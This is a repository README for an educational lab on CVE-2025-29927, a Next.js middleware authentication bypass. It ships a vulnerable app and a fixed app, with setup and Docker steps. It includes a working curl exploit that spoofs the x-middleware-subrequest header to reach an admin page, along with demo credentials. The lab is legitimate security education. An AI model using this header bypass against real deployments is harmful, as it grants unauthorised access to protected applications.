dante01yoon/cve-2025-29927Demonstration of CVE-2025-29927: Next.js middleware authentication bypass via x-middleware-subrequest header spoofing. Includes vulnerable and fixed app examples for security education.
This repository contains a demonstration of the Next.js vulnerability CVE-2025-29927, which affects Next.js version 15.2.2 and earlier. The vulnerability allows attackers to bypass middleware authentication checks by setting an x-middleware-subrequest header.
This is an NX monorepo containing two Next.js applications:
In Next.js versions prior to 15.2.3, there's a security vulnerability in the middleware implementation. The middleware doesn't properly validate the origin of the x-middleware-subrequest header, allowing attackers to spoof this header and bypass middleware-based authentication checks.
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the vulnerable app
cd apps/vulnerable-app
npm install
# Start the vulnerable app
npm run dev
The vulnerable app will be available at http://localhost:3000.
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the fixed app
cd apps/fixed-app
npm install
# Start the fixed app
npm run dev
The fixed app will be available at http://localhost:3001.
You can also run the apps using Docker:
# For the vulnerable app
cd apps/vulnerable-app
docker build -t nextjs-vulnerable .
docker run -p 3000:3000 nextjs-vulnerable
# For the fixed app
cd apps/fixed-app
docker build -t nextjs-fixed .
docker run -p 3001:3000 nextjs-fixed
# Using curl
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
# Or use a browser extension like ModHeader to add the header
# and then visit http://localhost:3000/admin
With the vulnerable version (15.2.2), you'll be able to access the admin page without authentication by adding the x-middleware-subrequest header.
With the fixed version (15.2.3), the middleware correctly validates the origin of this header, and you'll still be redirected to the login page.
For demo purposes, you can log in with:
adminpassword123If you're using Next.js in production, make sure to update to version 15.2.3 or later to protect against this vulnerability.